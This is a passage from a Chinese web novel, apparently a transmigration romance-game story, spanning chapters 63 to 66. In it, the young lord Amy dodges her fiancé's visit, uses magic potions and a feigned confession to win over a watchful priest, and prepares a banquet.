“是。”艾米看出他的疑虑,她没有多做解释,只是斩钉截铁地说:“我很确定后面每年都会丰收的,那么即使再多来一倍以上的人,粮食也吃不完的。现在就需要提前去周边领地寻找新的买家。” 这样做的原因有两个,第一当然是为了金币,第二,艾米希望能告诉周围的居民,托利亚种出的粮食不再是像砂纸划过喉咙一样难吃。 古德先生没有继续询问下去。他看着小姐长大,自然知道她不是一个容易被轻易说服的人,更何况从结果来看,小姐的决定一般总是对的。 “对了。”他从怀里掏出另外一份需要小姐过目的东西:“这是洛克公爵新的来信。上一封您迟迟未写回信,是有什么顾虑吗?” “上一封?什么上一封?”艾米皱眉。 “就是您刚回来时,我转交给您的信件,随信还有一匣珠宝,就放在您卧室的梳妆台上。” 艾米弹射站起。 她忙得完全忘记了这件事。 第63章 第63章我就知道她喜欢我。…… 艾米摊开手头的两封信。 第一封信是一个月前的事情。 那枚她曾在迪斯港贿赂守城士兵的黑曜石耳钉,居然兜兜转转重新回到了公爵大人的手中。 “亲爱的未婚妻,我还以为这枚耳钉会乖乖地躺在你的梳妆台上,用来装点你的美貌,而不是出现在某个黑市二道贩子手中。” 只是艾米读到这里,不知为何升起一股无名火 装货。 紧接着,她的视线扫过眼前那个盒盖上镶嵌了巨大青金石、用雕金工艺制作、且塞了满满登登珠宝的胡桃木匣子,瞬间感觉心头的火降下去不少 也是很能装珠宝的货。 她继续往下看。 结尾处公爵大人委婉地提出建议,如果未婚妻小姐很缺钱的话,也许他们可以从现在就开始着手准备婚礼的事项了。 “成为我的妻子之后,你会很难再为金钱发愁,当然,除非你认为钱花不完也算是一种烦恼。” “期待你的回信,亲爱的未婚妻。” 落款处是他的徽印。 这封信在艾米的梳妆台上和首饰匣一起落了整整一个月的灰,因此公爵大人所期待的“回信”整整一个月都杳无音讯。 艾米连忙拆开古德先生今天送来的第二封信。 “和潮湿闷热的布佛里托相比,北境的气候更为舒适宜人,我在永夜城有一栋度假的庄园,那里的蔷薇花很美,夏夜常常能嗅到馥郁的芬芳。不过今年夏天,我更想拜访你的领地,在那里度过一个愉快的假期。” “届时,我们可以在葱郁的林间小径漫步,在森林听微风拂过树叶的沙沙细语,最重要的是,我十分期待能和你见面,一同确认婚礼的细节。” “很遗憾在这样的时刻,您的父亲克莱恩先生无法陪伴在你的身边。希望可以宽慰到你的是,我的父亲,上任哈卡兹的家主派恩公爵大人,也在神圣之光的映照下,早早回到了光明神的怀抱。但请你放心,即使没有长辈的参与,我们的婚姻也不会出现任何不完美的音符。” “我知道我的到来会产生诸多繁琐杂务,因此所有事情我都会妥善安排,不令你烦忧。” “期待我们即将共度的假日。” 艾米一口气看到了信的结尾,并忍不住打了个寒颤。 这是什么新型恐怖故事,她才刚刚从王城结束成年礼舞会回到领地,“未婚夫”就要亲自找上门了! 她连忙提笔撰写回信,极尽所能地表达托利亚的贫瘠和偏僻,这里吃的也不好,路途也多泥泞,夏天夜晚还有魔兽和狼人袭击村镇,搞不好死人都是常有的事,建议公爵大人还是在永夜城度假,别来这里了。 在准备落款时,艾米想了想,又在结尾补上一段: “父亲去世不足一年,哀伤仍像浓雾一般笼罩着我。于我而言,婚礼应当是满心欢喜的幸福之旅,但公爵大人,请您原谅,我现在仍然没有足够的精力去周全每一处细节,每当我想打起精神回应您时,那些过往的回忆就如潮水般涌上心头,令我难以自拔地沉浸在悲痛之中。” “我对您的爱从未动摇,只是还需要一段时间抚平内心的忧伤。如果可以的话,我恳请您,是否可以先举行订婚仪式,而暂缓结婚的进程。” “愿您一切安好,也盼您能理解我此刻的心境。” 艾米把写完的信纸塞进信封里,顺手用镊子夹起一粒火漆蜡在烛台上烤。能拖一天是一天,一旦自己把矿搞到手,她也不用这么小心地维持这段关系了。 关键还是煤矿。 熔化的火漆液滴落在封口处像一团橙红色的琥珀,在等待上面的蜡封凝固定型的时候,艾米迅速决定,要将攻略神官大人的事项从自己的日程表上提到优先级最高的位置- 摸着胸口说,前几个男人一个比一个好上手。 开局登录就送的雷尔夫自然不用说了,出场就自带68 点好感度;布利斯看上去拽得二五八万,实际上第二次见面就忍不住亲上了;至于亚兰如果白给有等级,那他应该是S级别,容易应激的社恐猫猫,面对陌生人的时候都连气都不敢哈,面对依赖的人时更是直接就把肚皮露出来了。 但神官大人确实很难搞。 即使两个人都互换身体,捆绑在一起度过非常亲密的二十四小时了,可看起来似乎仍然没什么进展。 这不排除是自己出现了路径依赖,总想用一招解决所有问题,以至于上次差点翻车,好险才又把亚兰的好感度刷回来。 苦恼。 艾米点开系统商城,开始翻看上面的药剂,这段时间她已经攒下了一大笔羁绊值,足够将货架上的商品全部换个遍。 但因为已经对米迦尔使用过互换身体的【灵魂锚点】,因此只能兑换剩下的几瓶药水,分别是能够倾听对方心声的【且听心吟】、能够进入对方梦境的【繁星汲梦】、以及能回到对方童年的【溯溪之旅】。 她想了想,先兑换了一瓶【且听心吟】出来。 攻略男人,总要先搞清楚他在想什么才行吧?米迦尔现在就像一本被塑封住的厚书,艾米只能从名字猜测其中的内容,连上手摸一摸烫金标题或封皮材质都只能隔着一层薄薄的透明薄膜。 最起码心声药水可以透过塑封直接查看他里面的书页。 当然,艾米更想要直接能把外面那层塑封撕掉的药水。 系统恰在此刻出现:“你说的那种药水无论在哪个世界使用都是违规的,再说一遍,我们是恋爱游戏,不是性。爱游戏。” 领主小姐正在挑选等下出门的衣服和首饰,漫不经心地回应道:“哎呀,你这话也太糙了吧。” 系统被倒打一耙后很生气:“你心里不就是这么想的吗!” “可这明明是最方便的选择吧。” 系统:“你之前可不是这么说的!你说你最喜欢恋爱游戏的拉扯感了!” 艾米摇了摇头:“以前是以前,现在是现在。以前我是没什么事的女大,一天能肝好几个号,现在么,现在我连男人的心思都不想猜了。说到底,这还不是你自己的工作出现了问题吗?” 系统:“培训手册果然说的没错。” 艾米好奇:“你们还有培训手册呢,说了什么?” “手册上说异世界穿越类型项目挑选宿主不能超过二十岁,特别以中学生最佳。我从数据中检索发现恋爱游戏品类玩家均超过了十八岁,所以才从这个极为狭窄的年龄窗口期中挑中了你。” “倒也没必要这么咬牙切齿吧。”领主小姐不解:“我不是做得挺好的么,这个进度你还有什么不满意?你是不是话有点多了?” 系统蔫了。 它承认艾米说的没错。 但 “明明是你问我我才回复的。” “哦。那现在闭嘴吧,你话有点多了,真的。”艾米换上了一件淡紫色的紧身束腰外衣,想了想后挑了一件同色系的长裙搭配,在和系统说话的间隙,正在从首饰匣中挑选合适的珠宝。 对镜端详片刻,她又摘下了胸口的紫水晶项链,换上了一颗更低调的血红粒钻。 ——神的信徒一般不喜欢奢华贪财的女人吧?还是低调些好。 如此纠结半天,艾米才终于确定好出门的装扮。 精心打扮后的领主小姐走在自己的领地上时收获了比平时更多的赞美,尽管她很明白邹忌讽齐王纳谏的道理,但还是忍不住心情愉悦,满心期待着出现在神官大人面前时,能听到怎样的心声。 教堂里冷冷清清,艾米最后是在祷告室找到的米迦尔。 “下午好。”她一边点击使用药水,一边仔细观察对方脸上有没有出现哪怕是瞬间的惊艳之色。 神官大人并没有因为祷告被打断而生气,仍然温柔地笑吟吟回应着:“下午好,艾米小姐。” 完全看不出有任何惊艳的表情。 一定是偷偷在心里惊叹吧。 艾米又驻足片刻,仔细聆听周围的声音。 风吹过窗格发出轻轻的啪嗒声响,烛台燃烧炸起噼啪的烛花,外界的纷扰在厚重建筑的阻隔下都变得遥远又陌生,在这片空间里,静谧得似乎只剩下时间流淌的声音。 不对,一定是哪里不对。 艾米再次确认自己使用了药剂,且正在生效中。 真是见鬼了。 她试探性地问:“神官大人觉得我今天的打扮怎么样?” “很漂亮。” 米迦尔唇角上扬,笑容浅浅扩大:“抱歉,没能一时间说出来是因为担心冒然表达赞美对您来说是一种打扰。艾米小姐,我还以为这样的话您应该听过太多次了,甚至会多到令你烦忧的程度。” “我相信,任何同时拥有诚实和对美的追求这两项品格的人类都会赞同这点。” 无可挑剔地回复,就是没有一丁点人味而已。 艾米不死心地又听了一会,只有一片澄澈的宁静,没有任何杂音。 她不死心地准备抛出直球:“那您喜欢我今天的装扮吗?” 米迦尔的微笑带上了宽赦般的慈悲:“所有人都会喜欢美好的事物,而恰巧,您的美丽几乎无人会辩驳。” “那你呢?你喜欢吗?”艾米咬字在‘你’字上,咄咄逼人的语气似乎是一定要问出米迦尔的态度。 他的脸上似乎出现微微错愕,然后好脾气地回复道:“我也不例外。” 软硬不吃啊。 艾米的失落溢于言表,整个人像冬天地窖里的小青菜,立刻没了神采。 就在这时,忽然响起的声音在安静的祷告室里显得格外清晰。 沙利希恩说的是真的。 她喜欢我。 第64章 第64章不被发现的谎言就是真心…… 艾米愣了。 她花了好几秒才反应过来刚才的声音是从米迦尔的身上发出的。 等等,什么叫“她喜欢我”? 哦沙利希恩说的啊。 她眨眨眼睛,谎话张口就来:“你喜欢的话,就太好了我就是为了见你才这么打扮的。” 说到最后,艾米自己都信了,她忍不住眼神躲闪,心脏怦怦直跳。 ——对着这样一张脸,害羞根本不需要假装。 “这是我的荣幸。”神官大人的神色和心底都一片澄静,连回复都像人机:“不过,我想公务繁忙的领主小姐来这里找我,应该不只是为了向我展示您漂亮的项链的吧?” 艾米觉得他在说‘公务繁忙’四个字的时候有点重,但看他的表情又觉得是自己想多了,既然说到正事,她连忙拿出准备好的请柬。 “是有一件事。”她十分客气地双手捧上:“我准备举办一次宴会,想邀请你参加。” 米迦尔接过邀请函,上面说了一些冠冕堂皇的客套话,但并不是她的字迹——互换身体的那二十四小时里,在代替自己接待别人的时候,艾米曾在信笺上留下过只言片语的记录。她很细心,写下了每个到访者的名字,以及他们需要帮助的事情,前面用一些米迦尔也没见过的符号标注着似乎是顺序的东西。 但这封请柬不是她的字迹。 也许是她的那位管家写的,又或许是那位他之前没见过的学士,总之,她虽然亲自送来了,但并不是她亲手写的。 米迦尔微微颌首,语气温和,笑容却并未达眼底:“谢谢您的邀请,我会准时赴约的。” 又是人机回复。 哪有人是这样的聊天的,连个话头都不留,这让她怎么往下接啊! 艾米只好绞尽脑汁努力寻找新的话题。她环顾四周,看到空无一人的教堂,虽然不知道圣殿对外派的神官有没有什么传教的kpi,但就这副景象来说也太冷清了些。 “托利亚已经十几年没有神官了,所以大家还不太习惯来教堂做告解。”她干巴巴地解释着:“我想过段时间,皈依光明神的信徒会陆续变多的。” 其实也并不会。 神对这里投下的注视越少越好,最好直接忘了这块领地。 【真是像小蛇一样狡猾啊。】 艾米已经能迅速地分辨出这句评价是米迦尔内心的声音了。 神官大人微笑着做了一个邀请的手势,示意艾米跟着他往中殿走去。午后的阳光透过彩色的玻璃窗格在木质长椅上洒下斑驳的光点,米 迦尔在第一排的椅子上坐下,面朝前方的圣坛。 艾米不知他是什么意思,也跟着他坐在了长椅上。 “领主小姐,你知道神官来到一片从未踏足过的领地上,是如何向神的子民传播福音的吗?”米迦尔的声音在空旷的环境里像包裹了一层轻纱一样朦胧。 看到艾米懵懂的神情,他浅笑着继续说道:“那么,我就以南方的城镇举例吧。” “你应该知道,那里的种族纷杂,光明神的影响力没有那么大。在那些多神信仰的地方,圣殿的神官会在每一个、即使和神无关的节日里,为信徒洗去污秽,帮他们以全新的面貌和干净的心灵,迎接热闹的节日。这样很多人便会逐渐接受神官传播的教义,不至于产生抵触和反感。” 好阴险的手段。 发展有信仰的人,比发展她这种无神论者会更有效吧?就像罗莎即使信仰自己精灵族的森林之母,也忍不住对展现神迹的米迦尔抱有好感。 不愧是挤走一众旧神的光明神,连祂的人间代言人的经验都更丰富。 “但北境不一样,这里多为人类。托利亚更是除了每年丰收节庆典之外,再无其他节庆。” 艾米忍不住腹诽,秋天一到,暴雪和严寒就会接踵而至,忙着修缮房屋和储存粮食都还来不及,哪有精力和余钱过节啊。 “不过,就算是南境,城镇的总管或领地的领主总归是人类。为了祈求光明神的庇佑,贵族和城主总会偶尔来参加礼拜,和领地的子民一起聆听神的教诲。这几乎是平民唯一能见到贵族的时刻,也是他们能唯一能和大人物们有交集和相同点的时刻,出于对贵族们的追捧,很多不了解教义的民众,就会主动走进教堂。” 艾米想起永夜城纳维公爵的葬礼,那是平民极少被允许参与的统治者的活动,在葬礼结束之后,圣殿仍然有平民为前任城主祈福而点亮的蜡烛。 “可领主小姐您,似乎至今未曾来参加过一次礼拜。” 她终于听懂了米迦尔的意思。 原来他从一开始就看出了自己的不老实是吧? 艾米立刻就想发誓自己真的只是公务繁忙,可面朝着圣坛,也不知是心理作用还是真的有什么法术,她竟然一句谎言也说不出来。 幸好米迦尔并没有为难她的意思,继续说道。 “南境潮湿闷热,疾病传播得也快。每当有瘟疫发生,圣殿会开放主殿照顾那些可怜的病患,安排光明法师为他们做简单的救治,处理伤口,供给食物和草药。平民因此会更理解神恩的意义,在痊愈之后更加虔诚。” “我并非有意诅咒您的领地遭遇饥荒和灾害的意思,恰恰相反,在这里生活的人们就像没有忧愁一样平和,对于他们来说,无需进入教堂寻求神的垂怜,就已经获得了快乐和幸福。” 不知道米迦尔是不是有意恭维自己,但艾米承认,她听了这话确实是有些得意。 【小蛇的尾巴都翘起来了。】 艾米打了个寒颤,立刻收敛了神色,她难以想象这句话会是米迦尔的心里话,汗毛都忍不住竖了起来。 “于是我只剩下最后一个布道的办法。” “只有贵族才有资格聘请家庭教师,识字和读书。而平民想识字就只能像当初的我一样,被圣殿选中,送进教会学校。并不是只有贵族才对知识有渴望,实际上,很多平民也一样对此好奇,只是没有学习的途径而已。” 他专注地、温柔地看着艾米,那视线却有如实质,像细绳将她缠绕:“可就是这么巧在领主小姐回来之前,我还没听说过这个小镇有面向平民的‘识字课’,但现在,镇上的年轻人全都知道,领主小姐的管家正在教导您的家仆学习写字,不仅学习时的工钱照发,学会后还有额外的奖励。” “即使我想筹办一个教会学校,恐怕也没有多少人愿意来听《三圣经》的解读,他们会更喜欢轻松又有趣的《聪明洛里斯故事集》,还能在学会后谋得一个领主府工作的机会。” 艾米这次不止是竖起了汗毛,米迦尔的敏锐令她脊背发凉,四肢僵硬,被绑在地宫的回忆再次涌上心头。 “我见过很多假模假样表达虔诚的贵族,尤其在王城那种地方。平民的信仰更加真挚,因为他们渴求的神迹,于贵族们来说,不过是挥挥手就能实现的日常。干净的食物、健康的身体、柔软舒适的床铺、不被鞭打的权力大部分平民所祈求的也仅仅是如此而已。” “但贵族们仍然乐于表演虔诚,在告解室,我听过许多这样的祈愿,他们总归仍然有想要实现的、连神也无能为力的私欲,以及许多压在心底的罪行想要被神宽恕和谅解。” 艾米背后紧贴着椅背,明明周围一片空旷,却感觉自己像是被逼到了墙角。 “艾米小姐,您甚至连虔诚都不愿意表演。”米迦尔淡淡地说。他注视着她微微颤抖的瞳孔,找回了捕猎时的快乐。 “您不仅不虔诚,甚至”他找到了一个合适的词语:“甚至时刻在戒备和提防着神。” 寂静在两人之间缓缓流淌,艾米攥紧了那张布利斯的约会卡【不渝之约】,抱着要将这教堂炸穿的决心,随时警惕对面笑容温和的神官大人突生杀意。 就在这时,米迦尔忽然上手摸上了她的脸颊,轻柔地将她的发丝拢在耳后。 “既然这样。”他声音很轻,像是怕吓跑她一样温柔:“为什么,还要写信向圣殿申请一名新的神官呢?” 艾米被神官大人前后的态度搞得头脑混乱。 那张心声卡就像未生效过一样,没发挥任何作用,她只能通过观察米迦尔的神情来揣测他的意思。 这无疑更加困难。 面前的这张脸没有任何破绽,就像一本被塑封过的书,封皮的标题她已经反复看了好几次,实在无法从简单的几个字里猜到书页里的内容。 眼见米迦尔张口似乎要说什么,艾米一着急就叽里咕噜地说出了自己都难以置信的话。 “因为我喜欢您!” 她的声音有点大,在空旷的教堂里传来回音般的震动,和她的心脏一样颤抖不已。 米迦尔的脸上没有任何意外,他甚至连嘴角的弧度都没有变。 艾米的心跳渐渐缓和,呼吸重新回到胸膛,高速运转的大脑从杂乱无章中找到了线头。 “因为我喜欢您。”她又重复了一遍:“不知道是从时候开始,也许是您答应了要为我再次申请一次神降仪式,也或许是醉酒之后,从未有过的令我安心的好眠” “我知道这对您来说,是亵渎。但离开王城之后,我无时无刻不在思念您的怀抱,思念您手指的温度,思念您的一切。” 米迦尔没有阻拦她继续说下去,就像坐在告解室听一位迷茫痛苦的信徒向他寻求忏悔。 见这招有效,艾米的声音兴奋得颤抖,听起来却和强忍哭泣的效果类似:“给圣殿写信申请神官的时候,我紧张地几乎无法落笔,只能由我的管家古德先生代劳。在决定寄出这封信之前,我第一次向光明神祈祷。” “我恳 求祂,就算只有万分之一的可能,我也希望是您看到的这封信希望您能抚过我抚过的纸张,因为上面曾有我的泪水。那么即使最后不是您来,我也心满意足了。” “您无从得知,当我看到回信是您的落款时,内心有多么激动,我捧着那封信,就像捧着珍宝。”艾米感觉自己开始逐渐入戏,因为眼眶逐渐湿润:“但我知道,我不应该这样但我又忍不住想,这是神听到了我的祈祷,做出的回应。” “神官大人,神应允我了。” 她感觉到有一滴温热的眼泪从自己的眼角滑落,于是顺势抽了抽鼻子,加重啜泣的力度。 “我想,这可能是神当初要惩罚我的原因。”艾米轻轻擦拭自己的脸上的水液,然后用刚沾了泪水后潮湿的手指慌乱地抓住了米迦尔的腕,就像抓到了什么能将她从深渊下救出来的绳索。 “我不应该对您动心,我应当为此接受惩罚但是神又听到了我的祈愿,将您送到了我的面前。” 细腻柔软、又冰凉的手就像滑腻腻的蛇腹。 米迦尔看着她泛红的眼角,水润朦胧的眼睛,注意力却全在握住自己的那双手上。 真是奇怪,明明在王城的时候,两个人连更亲密的接触都有过,但现在,这触感却丝丝绕绕地难以散去,引得他微微颤栗。 他忽然很想把手伸进她一张一合的嘴巴,摸一摸里面是不是有一颗尖尖的、灌满了毒液的牙藏在里面。 “神官大人,我读不懂神的意思”艾米的声音充满着无助的委屈,以及类似撒娇一样的潮湿甜腻。 但米迦尔听清了这句话。 是神将他送到了艾米的面前。 在教堂的中殿,在圣坛的正对面,在神的注视之下,这不会是谎言。 他抽出了手腕,温和地帮她擦眼泪:“我很喜欢托利亚,这里很宁静,没有暴力、死亡、争端和痛苦。” “没必要为此流泪,神没有怪罪于你,我也不会。” 水液顺着指缝流到腕骨,整个都手心变得湿腻腻的。但米迦尔并不厌烦,反而生出莫名其妙的满足。 ——这是一条聪明又狡猾的小蛇,但现在,她乖巧地躺在他的手指间,连柔软的腹部都尽数露出。 而与此同时,害羞地垂下脑袋的艾米正借机悄悄查看屏幕上,自己最新获得的一张约会卡。 【谎言成真】 品质:A级 技能:使用后,你说的所有谎言都不会被任何手段识破。 生效时长:10分钟 不被发现的谎言就是真心话,就像表演了一辈子的爱也算是爱。 第65章 第65章这对吗? 关于举办宴会这件事,女仆长黛碧热情满满。 餐食、酒、以及人员的安排都是重中之重,除此之外,为了让这场宴会更上一个档次,乐队的选择和现场的装饰她也要亲自盯着才能放心。 几乎整个领主府的下人都被她调动起来做这件事了,厨房的莫里大婶以每天两道新品的速度研发着宴会菜单,就连古德先生都被黛碧安排去整理宾客名单了——由于大部分小镇居民都没有姓氏,所以为了让邀请函的格式一致,她要求古德为他们每一个家庭取一个姓氏。 取名字这种事情古德先生做过,但取姓倒是头一次。 他觉得十分荒唐:“姓氏是一个家族的传承,具有非常重要的意义!” 黛碧:“凡事总有第一次。我之前也没举办过宴会,现在不也做得很好吗?” 古德:“这完全不是一回事。” 黛碧:“我说是一回事就一回事。” 古德只好退一步:“可以只在邀请函上写名字。” 黛碧露出一种你也是领主府几十年的老人了怎么会连这都想不明白的表情:“光领主府的下人们叫汤姆的就有三个,叫乔治的有五个,还有四个丽塔,七个娜娜,只写名字怎么区分他们?” “另外,领主小姐交给我这个任务的时候暗示我了,这只是第一次的尝试,她以后还需要举办更多的宴会,当然要提前把每个细节都想清楚!” 古德说不出话来,只好老老实实按照黛碧的要求给每位客人取姓氏。 家门口种了几棵茉莉的汤姆就叫汤姆茉莉,住在斜坡上的汤姆就叫汤姆山坡除此之外,还有沙地乔治和木头乔治,等等。 每个收到邀请函家庭都很高兴,他们发现自己像一个贵族一样拥有了姓氏,而不是被叫做胖子汤姆或斜眼汤姆之类的。 有些人还专门去做了木牌,刻上邀请函上的姓氏,挂在房子外。 黛碧的热情也影响到了艾米。 说不上是好还是坏,她一日三餐的菜单变丰富了,就连下午茶的南瓜派都有四种款式。 “今年苏珊家的南瓜大丰收,除此之外她还种出一种个头小的新品种。”黛碧介绍道:“所以我让莫里用之前的方式,分别选用这两款南瓜来做派。” 艾米好奇指着托盘里另外两个看起来没有任何差别的南瓜派:“那这两个呢?” 黛碧:“这个使用的黄油是牛奶做的,这个使用的则是羊奶做的。” 她严肃地从怀里抽出一张上面画了四款南瓜派的纸递给艾米:“小姐,请您尝过后,务必在纸上留下您的意见。我建议您从香味、造型、入口、韧性、余韵五个维度分别进行评价,最后选出一个您认为最好吃的南瓜派。我将综合考虑后选择一款最合适的作为宴会菜单上的甜品。” 艾米讪笑着接过纸,见到古德先生怎么绞尽脑汁取姓氏后,她不敢对此有任何意见。 于是,为了躲开餐桌上永远吃不完的实验菜品,艾米在一个无所事事的清晨,眺望远处烂漫的山野时,决定出门踏青。 系统很是欣慰:“你挑选好你的邀请对象了吗?” 艾米点头:“当然,我打算和罗莎一起带莉亚出去散步,已经提前让厨房打包餐食了,还特意嘱咐他们要装上精灵爱吃的新鲜水果。” 系统:“等等,你不打算邀请可攻略对象吗?雷尔夫和亚兰也就算了,米迦尔呢?你不是最近一直在攻略他吗?” 艾米不高兴:“如果我想自讨苦吃为什么不去和黛碧一起挑选宴会的装饰花品种?拜托,我是要度假!度假,休息,懂吗?” 系统好像那种电路老化反应迟钝的电视机,每次被大小声呵斥两句就乖乖的闭上嘴,让开机就开机让换台就换台,不敢不听话。这点艾米倒是很满意。 米迦尔的攻略难度确实很高,每次和他单独待在一起,都会让她有种呼吸不畅的紧张感,这个时候,艾米根本顾不上考虑“攻略”他,光是提防他莫名其妙产生的杀意,就足够心累了。 他还是那本有着一层塑封、看不到内页文字的书,这些天的相处仍然没能扒下他的封皮,一窥其中的内容。 艾米曾纠结要不要使用能够入梦的药水,但结合在布利斯身上使用的效果来看,梦的主人也会拥有梦境的记忆。以米迦尔的敏锐程度来说,可能会在第一时间就意识到这不是他潜意识的梦境,而是某种“魔法”导致的。 到时候,恐怕神官大人的内心未暴露分毫,她就先被炸出了底牌。 艾米能察觉到米迦尔对自己十分好奇,也许在他的眼中,自己也是一本同样神秘的书。她想,她应当竭尽所能地伪装书页的厚度,毕竟袒露的越少,越不容易被抓住把柄。 另一方面,艾米隐隐察觉出神官大人谦逊温和背后的一种近乎狂妄的自大。他放自己一马,就像猫松开按住老鼠的爪子,并不是因为慈悲,而只是为了戏弄,只要他想,他随时可以再次轻巧地捉住她的尾巴,把她拍死在地板上。 猫鼠游戏在暧昧的关系中还有些趣味,但在她和米迦尔之间就只有压力。 还是她单方面的承受的压力 。 女仆送来了打包好餐食盒,艾米也在这个时间换上了矫健的深褐色骑马服,并挑选了一条镶嵌了猩红色宝石的小牛皮腰带。 她打算将这些尽数抛之脑后,给自己放个假- 莉亚年纪太小,还不会骑马,因此和罗莎共乘,但在到了目的地的山坡之后,她好几次向艾米暗示想试一试。 即使这是一匹中等身形的母马,莉亚的身高也需要踮起脚尖才能够到马儿顺滑的鬃毛。她一会儿绕着马说真漂亮,真乖,一会又长吁短叹地说自己的梦想就是拥有一匹自己的小马。 艾米一开始还没明白她的意思,喊她过来吃蛋糕,当心别被马蹄掀倒。 罗莎坐在草地上啃着果子:“没关系的小姐,莉亚的身手很矫健,做刺客的好苗子。如果连你都能学会骑马,那么她肯定没问题的。” 话音刚落,半精灵拿着果子的手停在半空。 她后知后觉反应过来自己刚才说了什么,有些尴尬地冲艾米挤出笑容:“您别伤心啊小姐,如果您很有练剑的天赋,我应该也轮不上成为您的保镖。” 算了,你还是别说了。 莉亚在一旁兴奋地眨着眼睛,手紧紧抓着缰绳,跃跃欲试的样子。 艾米还是不放心:“我学习骑马是从小马驹上手的,这匹马对莉亚来说还是太危险了。” “我们精灵后裔都是从树上跃到马背上就会骑马的,莉亚的天赋应当也会很快上手的。” “那她从马上掉下来骨折了怎么办?”艾米皱眉。 “安心啦,骨折而已,随便找个光明法师都能解决。”罗莎不以为意:“何况教堂还有米迦尔在,他可是中央圣殿最年轻的神官。” 莉亚不说话,只点头如捣蒜。 艾米只好应允她解开缰绳。 本以为莉亚的身高从上马开始就会比较吃力,没想到小姑娘自己找了旁边的石块借力,试了几次角度就轻松坐上了马背,根本不需要别人的教导,很快就摸清了缰绳的作用,开始尝试牵引身下的马匹按照自己的意愿行动。 艾米感觉自己像陪孩子学骑自行车的家长,时刻念叨着让孩子别骑太快。 躺在草坪上的罗莎轻笑:“小姐,我明白神官大人喜欢你的原因了,因为你和他看起来像一类人,但实际上截然不同。” 艾米惊讶得瞪圆了眼睛。 罗莎也错愕地坐直身体:“嗯?我说错了吗?我以为你早就看出来了。” “不是”艾米再次确认米迦尔的好感度是10,不是90:“我可不觉得他喜欢我,毕竟两个月前在王城,他还想要杀了我。” 半精灵高深莫测地眯着眼睛摇头:“不不不,我的直觉不会错。对于神官大人来说,你一定是特殊的。” 艾米起了点兴趣,也许从其他人的角度能看出些不一样的内容?她好奇地询问罗莎哪里“特殊”。 “你一看就没怎么受过伤。对于我们这些人来说”罗莎看了看艾米的表情,解释道:“就是对于莉亚、我、还有贫民窟出来的米迦尔来说,暴力和疼痛都是稀松平常的,死亡也不是什么稀罕事,我敢说,莉亚在遇到你之前,受伤应该是常有的事。” “哦,这是我捏她腿骨时发现的,她有一条腿没长好,应当是骨折后又被折断了一次。” 艾米想起米迦尔说过,他喜欢这里,因为这里“没有暴力、死亡、争端和痛苦”。 “但现在我捡走了她,我有保护她不受伤的责任。”她想了想后说。 “是,这是你和神官大人很像的地方,你俩都有莫名其妙的责任感。”罗莎耸耸肩:“我见过许多贵族,也替很多领主做过事情,他们会有对家族或国王的荣誉感,却不会在乎下人和仆从更别提这种要庇佑他们的责任感。” “说实话,在遇到你之前,我以为只有神才会这么多管闲事。” 远处,莉亚还在进行慢步训练,她好几次想提速,但在看到艾米的视线后又小心翼翼地保持着马匹的稳定。 “小姐,帮助别人会让你得到快乐,是吗?”罗莎问。 艾米点头。 “神官大人也是这样。就算是光明神的使徒,他也比其他我见过的所有神官更虔诚、更慈悲。”罗莎语气轻松:“瞧,多么有意思,即使起点不同,你们俩也变成了看起来完全一样的人。” 只是看起来一样,艾米无声地辩驳。 她可不觉得米迦尔有看起来那么慈悲。 就在这时,已经溜达到山坡上方的莉亚骑马朝草坪上的两人冲来。 “小姐!”她大声喊着:“小姐,我看到商队来啦!”- 这并不是一支商队。 这是一支建筑工队。 为首的大魔法师左手握拳,恭敬地躬身向艾米做着自我介绍:“尊敬的小姐,我是洛克公爵大人麾下的科林。奉公爵之命,希望能在您的领地上修建一座度假庄园,以供大人和您在夏日享用。” 艾米面色古怪。 原来这就是他在信中所说的“所有事情我都会妥善安排”的安排。 虽说钱和人都不需要她出,还平白无故多了一处庄园,但艾米总觉得自己这位未婚夫的排场似乎有点大得夸张了。 她犹豫着开口:“是不是时间有点仓促” “您不用担心,有魔法师的加持,原本三个月的工期预计一个月左右就可以完成。” 艾米又说:“可你们这么多人也没有这么多空余的房子给你们住。” “这您就更不用担心了,我们会在三天内搭完木屋,在五天内完成选址,七天内解决木材和石料,立刻开始施工。”科林继续介绍道:“在这期间,任何问题我们全部能自行解决。” 元春省亲还是贾府自己掏钱的,从这点来说,公爵大人还真是善解人意。艾米没再多说什么,既然他铁了心要来,自己也没有阻止的理由。 送走科林一行人,领主小姐准备例行去教堂刷刷存在感。 简单的寒暄之后,神官大人主动提及小镇上出现的陌生人:“是外地来的商队吗?” 艾米摇头,她纠结了一下要怎么介绍这群人的身份,从雷尔夫和亚兰来看,可攻略对象就算好感度再高,也会因为吃醋而出现波动的情况。更何况米迦尔现在对自己的好感度只有10,自己前几天刚对他表白过,现在却提及即将订婚的未婚夫,这么看都不合适。 “看来不是商队。”米迦尔笑容温和,看起来如闲聊一般随意:“是您的客人吗?” 艾米没想到他仅仅因为自己短暂的迟疑就觉察出这么多信息,不免更加紧张。 “嗯是一队建筑工。”她硬着头皮说。 “哦有大魔法师的建筑工,在王城也十分罕见呢。” 明明是没有太多起伏的、温和的声线,艾米却感觉自己好像又被逼到了墙角。 撒谎没有任何意义,反正他早晚也会知道。 艾米这么想着,深吸一口气,主动将情况一股脑地道出来:“我的未婚夫洛克公爵会在仲夏时节来托利亚度假,因此提前将工匠们派来修建庄园。这是我父亲在去世之前为我订下的婚约,实际上,我到现在一次都没见过他。” “洛克公爵的财富闻名整片大陆,在王城也算是炽手可热的单身汉。”米迦尔用称得上是祝贺的语气说:“恭喜您,领主小姐。我想您的父亲一定非常疼爱您。” 艾米极力控制着自己脸上不要露出奇怪的表情。 看起来没有任何变化、宽厚和煦的神官大人,在听到自己有未婚夫的时候,好感度却立刻涨了一大截 这好像有点不太对吧? 第66章 第66章满足您的一切需求是我的…… 精美的烛台从大厅摆到庭院,暖黄色的烛光洒满了城堡的每个角落,拉着鲁特琴的乐师用音乐和来宾们打招呼,而他们中的每一位,都穿上了自己最漂亮、最正式的衣裙。 女仆长黛碧表情严肃,时刻绷紧后背,像一只抽打后旋转着的陀螺,从厨房转到大厅,又急匆匆地旋到庭院,她用锐利的目光扫过视线可达的所有地方,以确保一切事项都在按部就班地推进着,没有任何纰漏。 宴会尚未正式开始,艾米躲在楼上,趴在房间的窗台向下张望,努力从底下的宾客中寻找米迦尔的身影,却遗憾地一无所获。 “小姐。”雷尔夫站在门口,轻叩房门。 艾米转身,眼前一亮。 “嗯哼——”她低头看了看自己的浅绿色丝绸长裙,又看了看雷尔夫身上的同色系衣服:“黛碧居然还专门为你定制了来搭配我裙子的套装。” 雷尔夫点头:“是,黛碧女士十分看重开场的第一支舞。” 